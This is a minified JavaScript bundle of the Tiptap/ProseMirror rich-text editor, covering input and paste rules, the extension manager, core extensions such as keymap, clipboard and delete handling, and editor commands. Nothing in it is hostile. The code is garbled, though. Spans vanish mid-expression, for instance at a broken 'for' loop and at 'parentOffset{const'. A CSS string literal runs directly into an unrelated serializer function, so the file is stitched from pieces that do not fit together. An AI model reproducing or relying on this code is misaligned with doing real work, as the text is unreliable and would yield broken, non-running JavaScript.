n&&(e?this.callbacks[t]=n.filter(r=>r!==e):delete this.callbacks[t]),this}once(t,e){const n=(...r)=>{this.off(t,n),e.apply(this,r)};return this.on(t,n)}removeAllListeners(){this.callbacks={}}},Df=class{constructor(t){var e;this.find=t.find,this.handler=t.handler,this.undoable=(e=t.undoable)!=null?e:!0}},v6=(t,e)=>{if(C0(e))return e.exec(t);const n=e(t);if(!n)return null;const r=[n.text];return r.index=n.index,r.input=t,r.data=n.data,n.replaceWith&&(n.text.includes(n.replaceWith)||console.warn('[tiptap warn]: "inputRuleMatch.replaceWith" must be part of "inputRuleMatch.text".'),r.push(n.replaceWith)),r};function $u(t){var e;const{editor:n,from:r,to:a,text:i,rules:o,plugin:c}=t,{view:u}=n;if(u.composing)return!1;const h=u.state.doc.resolve(r);if(h.parent.type.spec.code||(e=h.nodeBefore||h.nodeAfter)!=null&&e.marks.find(g=>g.type.spec.code))return!1;let f=!1;const m=K8(h)+i;return o.forEach(g=>{if(f)return;const y=v6(m,g.find);if(!y)return;const N=u.state.tr,w=Af({state:u.state,transaction:N}),v={from:r-(y[0].length-i.length),to:a},{commands:k,chain:C,can:E}=new If({editor:n,state:w});g.handler({state:w,range:v,match:y,commands:k,chain:C,can:E})===null||!N.steps.length||(g.undoable&&N.setMeta(c,{transform:N,from:r,to:a,text:i}),u.dispatch(N),f=!0)}),f}function N6(t){const{editor:e,rules:n}=t,r=new Kt({state:{init(){return null},apply(a,i,o){const c=a.getMeta(r);if(c)return c;const u=a.getMeta("applyInputRules");return!!u&&setTimeout(()=>{let{text:f}=u;typeof f=="string"?f=f:f=M0(be.from(f),o.schema);const{from:m}=u,g=m+f.length;$u({editor:e,from:m,to:g,text:f,rules:n,plugin:r})}),a.selectionSet||a.docChanged?null:i}},props:{handleTextInput(a,i,o,c){return $u({editor:e,from:i,to:o,text:c,rules:n,plugin:r})},handleDOMEvents:{compositionend:a=>(setTimeout(()=>{const{$cursor:i}=a.state.selection;i&&$u({editor:e,from:i.pos,to:i.pos,text:"",rules:n,plugin:r})}),!1)},handleKeyDown(a,i){if(i.key!=="Enter")return!1;const{$cursor:o}=a.state.selection;return o?$u({editor:e,from:o.pos,to:o.pos,text:` -`,rules:n,plugin:r}):!1}},isInputRules:!0});return r}function w6(t){return Object.prototype.toString.call(t).slice(8,-1)}function Fu(t){return w6(t)!=="Object"?!1:t.constructor===Object&&Object.getPrototypeOf(t)===Object.prototype}function P2(t,e){const n={...t};return Fu(t)&&Fu(e)&&Object.keys(e).forEach(r=>{Fu(e[r])&&Fu(t[r])?n[r]=P2(t[r],e[r]):n[r]=e[r]}),n}var I0=class{constructor(t={}){this.type="extendable",this.parent=null,this.child=null,this.name="",this.config={name:this.name},this.config={...this.config,...t},this.name=this.config.name}get options(){return{...jt(Ue(this,"addOptions",{name:this.name}))||{}}}get storage(){return{...jt(Ue(this,"addStorage",{name:this.name,options:this.options}))||{}}}configure(t={}){const e=this.extend({...this.config,addOptions:()=>P2(this.options,t)});return e.name=this.name,e.parent=this.parent,e}extend(t={}){const e=new this.constructor({...this.config,...t});return e.parent=this,this.child=e,e.name="name"in t?t.name:e.parent.name,e}},Ao=class O2 extends I0{constructor(){super(...arguments),this.type="mark"}static create(e={}){const n=typeof e=="function"?e():e;return new O2(n)}static handleExit({editor:e,mark:n}){const{tr:r}=e.state,a=e.state.selection.$from;if(a.pos===a.end()){const o=a.marks();if(!!!o.find(h=>(h==null?void 0:h.type.name)===n.name))return!1;const u=o.find(h=>(h==null?void 0:h.type.name)===n.name);return u&&r.removeStoredMark(u),r.insertText(" ",a.pos),e.view.dispatch(r),!0}return!1}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}};function j6(t){return typeof t=="number"}var k6=class{constructor(t){this.find=t.find,this.handler=t.handler}},S6=(t,e,n)=>{if(C0(e))return[...t.matchAll(e)];const r=e(t,n);return r?r.map(a=>{const i=[a.text];return i.index=a.index,i.input=t,i.data=a.data,a.replaceWith&&(a.text.includes(a.replaceWith)||console.warn('[tiptap warn]: "pasteRuleMatch.replaceWith" must be part of "pasteRuleMatch.text".'),i.push(a.replaceWith)),i}):[]};function C6(t){const{editor:e,state:n,from:r,to:a,rule:i,pasteEvent:o,dropEvent:c}=t,{commands:u,chain:h,can:f}=new If({editor:e,state:n}),m=[];return n.doc.nodesBetween(r,a,(y,N)=>{var w,v,k,C,E;if((v=(w=y.type)==null?void 0:w.spec)!=null&&v.code||!(y.isText||y.isTextblock||y.isInline))return;const T=(E=(C=(k=y.content)==null?void 0:k.size)!=null?C:y.nodeSize)!=null?E:0,I=Math.max(r,N),O=Math.min(a,N+T);if(I>=O)return;const L=y.isText?y.text||"":y.textBetween(I-N,O-N,void 0,"");S6(L,i.find,o).forEach(D=>{if(D.index===void 0)return;const _=I+D.index+1,Z=_+D[0].length,ne={from:n.tr.mapping.map(_),to:n.tr.mapping.map(Z)},fe=i.handler({state:n,range:ne,match:D,commands:u,chain:h,can:f,pasteEvent:o,dropEvent:c});m.push(fe)})}),m.every(y=>y!==null)}var Bu=null,E6=t=>{var e;const n=new ClipboardEvent("paste",{clipboardData:new DataTransfer});return(e=n.clipboardData)==null||e.setData("text/html",t),n};function T6(t){const{editor:e,rules:n}=t;let r=null,a=!1,i=!1,o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,c;try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}const u=({state:f,from:m,to:g,rule:y,pasteEvt:N})=>{const w=f.tr,v=Af({state:f,transaction:w});if(!(!C6({editor:e,state:v,from:Math.max(m-1,0),to:g.b-1,rule:y,pasteEvent:N,dropEvent:c})||!w.steps.length)){try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}return o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,w}};return n.map(f=>new Kt({view(m){const g=N=>{var w;r=(w=m.dom.parentElement)!=null&&w.contains(N.target)?m.dom.parentElement:null,r&&(Bu=e)},y=()=>{Bu&&(Bu=null)};return window.addEventListener("dragstart",g),window.addEventListener("dragend",y),{destroy(){window.removeEventListener("dragstart",g),window.removeEventListener("dragend",y)}}},props:{handleDOMEvents:{drop:(m,g)=>{if(i=r===m.dom.parentElement,c=g,!i){const y=Bu;y!=null&&y.isEditable&&setTimeout(()=>{const N=y.state.selection;N&&y.commands.deleteRange({from:N.from,to:N.to})},10)}return!1},paste:(m,g)=>{var y;const N=(y=g.clipboardData)==null?void 0:y.getData("text/html");return o=g,a=!!(N!=null&&N.includes("data-pm-slice")),!1}}},appendTransaction:(m,g,y)=>{const N=m[0],w=N.getMeta("uiEvent")==="paste"&&!a,v=N.getMeta("uiEvent")==="drop"&&!i,k=N.getMeta("applyPasteRules"),C=!!k;if(!w&&!v&&!C)return;if(C){let{text:I}=k;typeof I=="string"?I=I:I=M0(be.from(I),y.schema);const{from:O}=k,L=O+I.length,R=E6(I);return u({rule:f,state:y,from:O,to:{b:L},pasteEvt:R})}const E=g.doc.content.findDiffStart(y.doc.content),T=g.doc.content.findDiffEnd(y.doc.content);if(!(!j6(E)||!T||E===T.b))return u({rule:f,state:y,from:E,to:T,pasteEvt:o})}}))}var Lf=class{constructor(t,e){this.splittableMarks=[],this.editor=e,this.baseExtensions=t,this.extensions=S2(t),this.schema=$8(this.extensions,e),this.setupExtensions()}get commands(){return this.extensions.reduce((t,e)=>{const n={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)},r=Ue(e,"addCommands",n);return r?{...t,...r()}:t},{})}get plugins(){const{editor:t}=this;return Wc([...this.extensions].reverse()).flatMap(r=>{const a={name:r.name,options:r.options,storage:this.editor.extensionStorage[r.name],editor:t,type:Ec(r.name,this.schema)},i=[],o=Ue(r,"addKeyboardShortcuts",a);let c={};if(r.type==="mark"&&Ue(r,"exitable",a)&&(c.ArrowRight=()=>Ao.handleExit({editor:t,mark:r})),o){const g=Object.fromEntries(Object.entries(o()).map(([y,N])=>[y,()=>N({editor:t})]));c={...c,...g}}const u=VL(c);i.push(u);const h=Ue(r,"addInputRules",a);if(yN(r,t.options.enableInputRules)&&h){const g=h();if(g&&g.length){const y=N6({editor:t,rules:g}),N=Array.isArray(y)?y:[y];i.push(...N)}}const f=Ue(r,"addPasteRules",a);if(yN(r,t.options.enablePasteRules)&&f){const g=f();if(g&&g.length){const y=T6({editor:t,rules:g});i.push(...y)}}const m=Ue(r,"addProseMirrorPlugins",a);if(m){const g=m();i.push(...g)}return i})}get attributes(){return k2(this.extensions)}get nodeViews(){const{editor:t}=this,{nodeExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ue(n,"addNodeView")).map(n=>{const r=this.attributes.filter(u=>u.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Sn(n.name,this.schema)},i=Ue(n,"addNodeView",a);if(!i)return[];const o=i();if(!o)return[];const c=(u,h,f,m,g)=>{const y=cd(u,r);return o({node:u,view:h,getPos:f,decorations:m,innerDecorations:g,editor:t,extension:n,HTMLAttributes:y})};return[n.name,c]}))}dispatchTransaction(t){const{editor:e}=this;return Wc([...this.extensions].reverse()).reduceRight((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ue(a,"dispatchTransaction",i);return o?c=>{o.call(i,{transaction:c,next:r})}:r},t)}transformPastedHTML(t){const{editor:e}=this;return Wc([...this.extensions]).reduce((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ue(a,"transformPastedHTML",i);return o?(c,u)=>{const h=r(c,u);return o.call(i,h)}:r},t||(r=>r))}get markViews(){const{editor:t}=this,{markExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ue(n,"addMarkView")).map(n=>{const r=this.attributes.filter(c=>c.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Ta(n.name,this.schema)},i=Ue(n,"addMarkView",a);if(!i)return[];const o=(c,u,h)=>{const f=cd(c,r);return i()({mark:c,view:u,inline:h,editor:t,extension:n,HTMLAttributes:f,updateAttributes:m=>{H6(c,t,m)}})};return[n.name,o]}))}setupExtensions(){const t=this.extensions;this.editor.extensionStorage=Object.fromEntries(t.map(e=>[e.name,e.storage])),t.forEach(e=>{var n;const r={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)};e.type==="mark"&&((n=jt(Ue(e,"keepOnSplit",r)))==null||n)&&this.splittableMarks.push(e.name);const a=Ue(e,"onBeforeCreate",r),i=Ue(e,"onCreate",r),o=Ue(e,"onUpdate",r),c=Ue(e,"onSelectionUpdate",r),u=Ue(e,"onTransaction",r),h=Ue(e,"onFocus",r),f=Ue(e,"onBlur",r),m=Ue(e,"onDestroy",r);a&&this.editor.on("beforeCreate",a),i&&this.editor.on("create",i),o&&this.editor.on("update",o),c&&this.editor.on("selectionUpdate",c),u&&this.editor.on("transaction",u),h&&this.editor.on("focus",h),f&&this.editor.on("blur",f),m&&this.editor.on("destroy",m)})}};Lf.resolve=S2;Lf.sort=Wc;Lf.flatten=T0;var M6={};S0(M6,{ClipboardTextSerializer:()=>L2,Commands:()=>_2,Delete:()=>z2,Drop:()=>$2,Editable:()=>F2,FocusEvents:()=>V2,Keymap:()=>H2,Paste:()=>W2,Tabindex:()=>U2,TextDirection:()=>K2,focusEventsPluginKey:()=>B2});var mn=class D2 extends I0{constructor(){super(...arguments),this.type="extension"}static create(e={}){const n=typeof e=="function"?e():e;return new D2(n)}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}},L2=mn.create({name:"clipboardTextSerializer",addOptions(){return{blockSeparator:void 0}},addProseMirrorPlugins(){return[new Kt({key:new tn("clipboardTextSerializer"),props:{clipboardTextSerializer:()=>{const{editor:t}=this,{state:e,schema:n}=t,{doc:r,selection:a}=e,{ranges:i}=a,o=Math.min(...i.map(f=>f.$from.pos)),c=Math.max(...i.map(f=>f.$to.pos)),u=E2(n);return C2(r,{from:o,to:c},{...this.options.blockSeparator!==void 0?{blockSeparator:this.options.blockSeparator}:{},textSerializers:u})}}})]}}),_2=mn.create({name:"commands",addCommands(){return{...p2}}}),z2=mn.create({name:"delete",onUpdate({transaction:t,appendedTransactions:e}){var n,r,a;const i=()=>{var o,c,u,h;if((h=(u=(c=(o=this.editor.options.coreExtensionOptions)==null?void 0:o.delete)==null?void 0:c.filterTransaction)==null?void 0:u.call(c,t))!=null?h:t.getMeta("y-sync$"))return;const f=N2(t.before,[t,...e]);M2(f).forEach(y=>{f.mapping.mapResult(y.oldRange.from).deletedAfter&&f.mapping.mapResult(y.oldRange.to).deletedBefore&&f.before.nodesBetween(y.oldRange.from,y.oldRange.to,(N,w)=>{const v=w+N.nodeSize-2,k=y.oldRange.from<=w&&v<=y.oldRange.to;this.editor.emit("delete",{type:"node",node:N,from:w,to:v,newFrom:f.mapping.map(w),newTo:f.mapping.map(v),deletedRange:y.oldRange,newRange:y.newRange,partial:!k,editor:this.editor,transaction:t,combinedTransform:f})})});const g=f.mapping;f.steps.forEach((y,N)=>{var w,v;if(y instanceof ks){const k=g.slice(N).map(y.from,-1),C=g.slice(N).map(y.to),E=g.invert().map(k,-1),T=g.invert().map(C),I=(w=f.doc.nodeAt(k-1))==null?void 0:w.marks.some(L=>L.eq(y.mark)),O=(v=f.doc.nodeAt(C))==null?void 0:v.marks.some(L=>L.eq(y.mark));this.editor.emit("delete",{type:"mark",mark:y.mark,from:y.from,to:y.to,deletedRange:{from:E,to:T},newRange:{from:k,to:C},partial:!!(O||I),editor:this.editor,transaction:t,combinedTransform:f})}})};(a=(r=(n=this.editor.options.coreExtensionOptions)==null?void 0:n.delete)==null?void 0:r.async)==null||a?setTimeout(i,0):i()}}),$2=mn.create({name:"drop",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapDrop"),props:{handleDrop:(t,e,n,r)=>{this.editor.emit("drop",{editor:this.editor,event:e,slice:n,moved:r})}}})]}}),F2=mn.create({name:"editable",addProseMirrorPlugins(){return[new Kt({key:new tn("editable"),props:{editable:()=>this.editor.options.editable}})]}}),B2=new tn("focusEvents"),V2=mn.create({name:"focusEvents",addProseMirrorPlugins(){const{editor:t}=this;return[new Kt({key:B2,props:{handleDOMEvents:{focus:(e,n)=>{t.isFocused=!0;const r=t.state.tr.setMeta("focus",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1},blur:(e,n)=>{t.isFocused=!1;const r=t.state.tr.setMeta("blur",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1}}}})]}}),H2=mn.create({name:"keymap",addKeyboardShortcuts(){const t=()=>this.editor.commands.first(({commands:o})=>[()=>o.undoInputRule(),()=>o.command(({tr:c})=>{const{selection:u,doc:h}=c,{empty:f,$anchor:m}=u,{pos:g,parent:y}=m,N=m.parent.isTextblock&&g>0?c.doc.resolve(g-1):m,w=N.parent.type.spec.isolating,v=m.pos-m.parentOffset,k=w&&N.parent.childCount===1?v===m.pos:rt.atStart(h).from===g;return!f||!y.type.isTextblock||y.textContent.length||!k||k&&m.parent.type.name==="paragraph"?!1:o.clearNodes()}),()=>o.deleteSelection(),()=>o.joinBackward(),()=>o.selectNodeBackward()]),e=()=>this.editor.commands.first(({commands:o})=>[()=>o.deleteSelection(),()=>o.deleteCurrentNode(),()=>o.joinForward(),()=>o.selectNodeForward()]),r={Enter:()=>this.editor.commands.first(({commands:o})=>[()=>o.newlineInCode(),()=>o.createParagraphNear(),()=>o.liftEmptyBlock(),()=>o.splitBlock()]),"Mod-Enter":()=>this.editor.commands.exitCode(),Backspace:t,"Mod-Backspace":t,"Shift-Backspace":t,Delete:e,"Mod-Delete":e,"Mod-a":()=>this.editor.commands.selectAll()},a={...r},i={...r,"Ctrl-h":t,"Alt-Backspace":t,"Ctrl-d":e,"Ctrl-Alt-Backspace":e,"Alt-Delete":e,"Alt-d":e,"Ctrl-a":()=>this.editor.commands.selectTextblockStart(),"Ctrl-e":()=>this.editor.commands.selectTextblockEnd()};return Th()||b2()?i:a},addProseMirrorPlugins(){return[new Kt({key:new tn("clearDocument"),appendTransaction:(t,e,n)=>{if(t.some(w=>w.getMeta("composition")))return;const r=t.some(w=>w.docChanged)&&!e.doc.eq(n.doc),a=t.some(w=>w.getMeta("preventClearDocument"));if(!r||a)return;const{empty:i,from:o,to:c}=e.selection,u=rt.atStart(e.doc).from,h=rt.atEnd(e.doc).to;if(i||!(o===u&&c===h)||!Of(n.doc))return;const g=n.tr,y=Af({state:n,transaction:g}),{commands:N}=new If({editor:this.editor,state:y});if(N.clearNodes(),!!g.steps.length)return g}})]}}),W2=mn.create({name:"paste",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapPaste"),props:{handlePaste:(t,e,n)=>{this.editor.emit("paste",{editor:this.editor,event:e,slice:n})}}})]}}),U2=mn.create({name:"tabindex",addProseMirrorPlugins(){return[new Kt({key:new tn("tabindex"),props:{attributes:()=>this.editor.isEditable?{tabindex:"0"}:{}}})]}}),K2=mn.create({name:"textDirection",addOptions(){return{direction:void 0}},addGlobalAttributes(){if(!this.options.direction)return[];const{nodeExtensions:t}=Tl(this.extensions);return[{types:t.filter(e=>e.name!=="text").map(e=>e.name),attributes:{dir:{default:this.options.direction,parseHTML:e=>{const n=e.getAttribute("dir");return n&&(n==="ltr"||n==="rtl"||n==="auto")?n:this.options.direction},renderHTML:e=>e.dir?{dir:e.dir}:{}}}}]},addProseMirrorPlugins(){return[new Kt({key:new tn("textDirection"),props:{attributes:()=>{const t=this.options.direction;return t?{dir:t}:{}}}})]}}),A6=class Pc{constructor(e,n,r=!1,a=null){this.currentNode=null,this.actualDepth=null,this.isBlock=r,this.resolvedPos=e,this.editor=n,this.currentNode=a}get name(){return this.node.type.name}get node(){return this.currentNode||this.resolvedPos.node()}get element(){return this.editor.view.domAtPos(this.pos).node}get depth(){var e;return(e=this.actualDepth)!=null?e:this.resolvedPos.depth}get pos(){return this.resolvedPos.pos}get content(){return this.node.content}set content(e){let n=this.from,r=this.to;if(this.isBlock){if(this.content.size===0){console.error(`You can’t set content on a block node. Tried to set content on ${this.name} at ${this.pos}`);return}n=this.from+1,r=this.to-1}this.editor.commands.insertContentAt({from:n,to:r},e)}get attributes(){return this.node.attrs}get textContent(){return this.node.textContent}get size(){return this.node.nodeSize}get from(){return this.isBlock?this.pos:this.resolvedPos.start(this.resolvedPos.depth)}get range(){return{from:this.from,to:this.to}}get to(){return this.isBlock?this.pos+this.size:this.resolvedPos.end(this.resolvedPos.depth)+(this.node.isText?0:1)}get parent(){if(this.depth===0)return null;const e=this.resolvedPos.start(this.resolvedPos.depth-1),n=this.resolvedPos.doc.resolve(e);return new Pc(n,this.editor)}get before(){let e=this.resolvedPos.doc.resolve(this.from-(this.isBlock?1:2));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.from-3)),new Pc(e,this.editor)}get after(){let e=this.resolvedPos.doc.resolve(this.to+(this.isBlock?2:1));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.to+3)),new Pc(e,this.editor)}get children(){const e=[];return this.node.content.forEach((n,r)=>{const a=n.isBlock&&!n.isTextblock,i=n.isAtom&&!n.isText,o=n.isInline,c=this.pos+r+(i?0:1);if(c<0||c>this.resolvedPos.doc.nodeSize-2)return;const u=this.resolvedPos.doc.resolve(c);if(!a&&!o&&u.depth<=this.depth)return;const h=new Pc(u,this.editor,a,a||o?n:null);a&&(h.actualDepth=this.depth+1),e.push(h)}),e}get firstChild(){return this.children[0]||null}get lastChild(){const e=this.children;return e[e.length-1]||null}closest(e,n={}){let r=null,a=this.parent;for(;a&&!r;){if(a.node.type.name===e)if(Object.keys(n).length>0){const i=a.node.attrs,o=Object.keys(n);for(let c=0;c{r&&a.length>0||(o.node.type.name===e&&i.every(u=>n[u]===o.node.attrs[u])&&a.push(o),!(r&&a.length>0)&&(a=a.concat(o.querySelectorAll(e,n,r))))}),a}setAttribute(e){const{tr:n}=this.editor.state;n.setNodeMarkup(this.from,void 0,{...this.node.attrs,...e}),this.editor.view.dispatch(n)}},I6=`.ProseMirror { +`,textSerializers:o={}}=n||{};let c="";return t.nodesBetween(r,a,(u,h,f,m)=>{var g;u.isBlock&&h>r&&(c+=i);const y=o==null?void 0:o[u.type.name];if(y)return f&&(c+=y({node:u,pos:h,parent:f,index:m,range:e})),!1;u.isText&&(c+=(g=u==null?void 0:u.text)==null?void 0:g.slice(Math.max(r,h)-h,a-h))}),c}function B8(t,e){const n={from:0,to:t.content.size};return C2(t,n,e)}function E2(t){return Object.fromEntries(Object.entries(t.nodes).filter(([,e])=>e.spec.toText).map(([e,n])=>[e,n.spec.toText]))}function V8(t,e){const n=Sn(e,t.schema),{from:r,to:a}=t.selection,i=[];t.doc.nodesBetween(r,a,c=>{i.push(c)});const o=i.reverse().find(c=>c.type.name===n.name);return o?{...o.attrs}:{}}function T2(t,e){const n=Rf(typeof e=="string"?e:e.name,t.schema);return n==="node"?V8(t,e):n==="mark"?v2(t,e):{}}function H8(t,e=JSON.stringify){const n={};return t.filter(r=>{const a=e(r);return Object.prototype.hasOwnProperty.call(n,a)?!1:n[a]=!0})}function W8(t){const e=H8(t);return e.length===1?e:e.filter((n,r)=>!e.filter((i,o)=>o!==r).some(i=>n.oldRange.from>=i.oldRange.from&&n.oldRange.to<=i.oldRange.to&&n.newRange.from>=i.newRange.from&&n.newRange.to<=i.newRange.to))}function M2(t){const{mapping:e,steps:n}=t,r=[];return e.maps.forEach((a,i)=>{const o=[];if(a.ranges.length)a.forEach((c,u)=>{o.push({from:c,to:u})});else{const{from:c,to:u}=n[i];if(c===void 0||u===void 0)return;o.push({from:c,to:u})}o.forEach(({from:c,to:u})=>{const h=e.slice(i).map(c,-1),f=e.slice(i).map(u),m=e.invert().map(h,-1),g=e.invert().map(f);r.push({oldRange:{from:m,to:g},newRange:{from:h,to:f}})})}),W8(r)}function A0(t,e,n){const r=[];return t===e?n.resolve(t).marks().forEach(a=>{const i=n.resolve(t),o=E0(i,a.type);o&&r.push({mark:a,...o})}):n.nodesBetween(t,e,(a,i)=>{!a||(a==null?void 0:a.nodeSize)===void 0||r.push(...a.marks.map(o=>({from:i,to:i+a.nodeSize,mark:o})))}),r}var U8=(t,e,n,r=20)=>{const a=t.doc.resolve(n);let i=r,o=null;for(;i>0&&o===null;){const c=a.node(i);(c==null?void 0:c.type.name)===e?o=c:i-=1}return[o,i]};function Ec(t,e){return e.nodes[t]||e.marks[t]||null}function nh(t,e,n){return Object.fromEntries(Object.entries(n).filter(([r])=>{const a=t.find(i=>i.type===e&&i.name===r);return a?a.attribute.keepOnSplit:!1}))}var K8=(t,e=500)=>{let n="";const r=t.parentOffset;return t.parent.nodesBetween(Math.max(0,r-e),r,(a,i,o,c)=>{var u,h;const f=((h=(u=a.type.spec).toText)==null?void 0:h.call(u,{node:a,pos:i,parent:o,index:c}))||a.textContent||"%leaf%";n+=a.isAtom&&!a.isText?f:f.slice(0,Math.max(0,r-i))}),n};function ox(t,e,n={}){const{empty:r,ranges:a}=t.selection,i=e?Ta(e,t.schema):null;if(r)return!!(t.storedMarks||t.selection.$from.marks()).filter(m=>i?i.name===m.type.name:!0).find(m=>Eh(m.attrs,n,{strict:!1}));let o=0;const c=[];if(a.forEach(({$from:m,$to:g})=>{const y=m.pos,N=g.pos;t.doc.nodesBetween(y,N,(w,v)=>{if(i&&w.inlineContent&&!w.type.allowsMarkType(i))return!1;if(!w.isText&&!w.marks.length)return;const k=Math.max(y,v),C=Math.min(N,v+w.nodeSize),E=C-k;o+=E,c.push(...w.marks.map(T=>({mark:T,from:k,to:C})))})}),o===0)return!1;const u=c.filter(m=>i?i.name===m.mark.type.name:!0).filter(m=>Eh(m.mark.attrs,n,{strict:!1})).reduce((m,g)=>m+g.to-g.from,0),h=c.filter(m=>i?m.mark.type!==i&&m.mark.type.excludes(i):!0).reduce((m,g)=>m+g.to-g.from,0);return(u>0?u+h:u)>=o}function q8(t,e,n={}){if(!e)return Ni(t,null,n)||ox(t,null,n);const r=Rf(e,t.schema);return r==="node"?Ni(t,e,n):r==="mark"?ox(t,e,n):!1}var G8=(t,e)=>{const{$from:n,$to:r,$anchor:a}=t.selection;if(e){const i=Pf(c=>c.type.name===e)(t.selection);if(!i)return!1;const o=t.doc.resolve(i.pos+1);return a.pos+1===o.end()}return!(r.parentOffset{const{$from:e,$to:n}=t.selection;return!(e.parentOffset>0||e.pos!==n.pos)};function yN(t,e){return Array.isArray(e)?e.some(n=>(typeof n=="string"?n:n.name)===t.name):e}function bN(t,e){const{nodeExtensions:n}=Tl(e),r=n.find(o=>o.name===t);if(!r)return!1;const a={name:r.name,options:r.options,storage:r.storage},i=jt(Ke(r,"group",a));return typeof i!="string"?!1:i.split(" ").includes("list")}function Of(t,{checkChildren:e=!0,ignoreWhitespace:n=!1}={}){var r;if(n){if(t.type.name==="hardBreak")return!0;if(t.isText)return/^\s*$/m.test((r=t.text)!=null?r:"")}if(t.isText)return!t.text;if(t.isAtom||t.isLeaf)return!1;if(t.content.childCount===0)return!0;if(e){let a=!0;return t.content.forEach(i=>{a!==!1&&(Of(i,{ignoreWhitespace:n,checkChildren:e})||(a=!1))}),a}return!1}function A2(t){return t instanceof Xe}var I2=class R2{constructor(e){this.position=e}static fromJSON(e){return new R2(e.position)}toJSON(){return{position:this.position}}};function Y8(t,e){const n=e.mapping.mapResult(t.position);return{position:new I2(n.pos),mapResult:n}}function Q8(t){return new I2(t)}function X8(t,e,n){var r;const{selection:a}=e;let i=null;if(g2(a)&&(i=a.$cursor),i){const c=(r=t.storedMarks)!=null?r:i.marks();return i.parent.type.allowsMarkType(n)&&(!!n.isInSet(c)||!c.some(h=>h.type.excludes(n)))}const{ranges:o}=a;return o.some(({$from:c,$to:u})=>{let h=c.depth===0?t.doc.inlineContent&&t.doc.type.allowsMarkType(n):!1;return t.doc.nodesBetween(c.pos,u.pos,(f,m,g)=>{if(h)return!1;if(f.isInline){const y=!g||g.type.allowsMarkType(n),N=!!n.isInSet(f.marks)||!f.marks.some(w=>w.type.excludes(n));h=y&&N}return!h}),h})}var Z8=(t,e={})=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=n,{empty:o,ranges:c}=i,u=Ta(t,r.schema);if(a)if(o){const h=v2(r,u);n.addStoredMark(u.create({...h,...e}))}else c.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;r.doc.nodesBetween(f,m,(g,y)=>{const N=Math.max(y,f),w=Math.min(y+g.nodeSize,m);g.marks.find(k=>k.type===u)?g.marks.forEach(k=>{u===k.type&&n.addMark(N,w,u.create({...k.attrs,...e}))}):n.addMark(N,w,u.create(e))})});return X8(r,n,u)},e6=(t,e)=>({tr:n})=>(n.setMeta(t,e),!0),t6=(t,e={})=>({state:n,dispatch:r,chain:a})=>{const i=Sn(t,n.schema);let o;return n.selection.$anchor.sameParent(n.selection.$head)&&(o=n.selection.$anchor.parent.attrs),i.isTextblock?a().command(({commands:c})=>I1(i,{...o,...e})(n)?!0:c.clearNodes()).command(({state:c})=>I1(i,{...o,...e})(c,r)).run():(console.warn('[tiptap warn]: Currently "setNode()" only supports text block nodes.'),!1)},n6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,a=io(t,0,r.content.size),i=Xe.create(r,a);e.setSelection(i)}return!0},r6=(t,e)=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=r;let o,c;return typeof e=="number"?(o=e,c=e):e&&"from"in e&&"to"in e?(o=e.from,c=e.to):(o=i.from,c=i.to),a&&n.doc.nodesBetween(o,c,(u,h)=>{u.isText||n.setNodeMarkup(h,void 0,{...u.attrs,dir:t})}),!0},s6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,{from:a,to:i}=typeof t=="number"?{from:t,to:t}:t,o=Ze.atStart(r).from,c=Ze.atEnd(r).to,u=io(a,o,c),h=io(i,o,c),f=Ze.create(r,u,h);e.setSelection(f)}return!0},a6=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return XO(r)(e,n)};function vN(t,e){const n=t.storedMarks||t.selection.$to.parentOffset&&t.selection.$from.marks();if(n){const r=n.filter(a=>e==null?void 0:e.includes(a.type.name));t.tr.ensureMarks(r)}}var i6=({keepMarks:t=!0}={})=>({tr:e,state:n,dispatch:r,editor:a})=>{const{selection:i,doc:o}=e,{$from:c,$to:u}=i,h=a.extensionManager.attributes,f=nh(h,c.node().type.name,c.node().attrs);if(i instanceof Xe&&i.node.isBlock)return!c.parentOffset||!ja(o,c.pos)?!1:(r&&(t&&vN(n,a.extensionManager.splittableMarks),e.split(c.pos).scrollIntoView()),!0);if(!c.parent.isBlock)return!1;const m=u.parentOffset===u.parent.content.size,g=c.depth===0?void 0:O8(c.node(-1).contentMatchAt(c.indexAfter(-1)));let y=m&&g?[{type:g,attrs:f}]:void 0,N=ja(e.doc,e.mapping.map(c.pos),1,y);if(!y&&!N&&ja(e.doc,e.mapping.map(c.pos),1,g?[{type:g}]:void 0)&&(N=!0,y=g?[{type:g,attrs:f}]:void 0),r){if(N&&(i instanceof Ze&&e.deleteSelection(),e.split(e.mapping.map(c.pos),1,y),g&&!m&&!c.parentOffset&&c.parent.type!==g)){const w=e.mapping.map(c.before()),v=e.doc.resolve(w);c.node(-1).canReplaceWith(v.index(),v.index()+1,g)&&e.setNodeMarkup(e.mapping.map(c.before()),g)}t&&vN(n,a.extensionManager.splittableMarks),e.scrollIntoView()}return N},o6=(t,e={})=>({tr:n,state:r,dispatch:a,editor:i})=>{var o;const 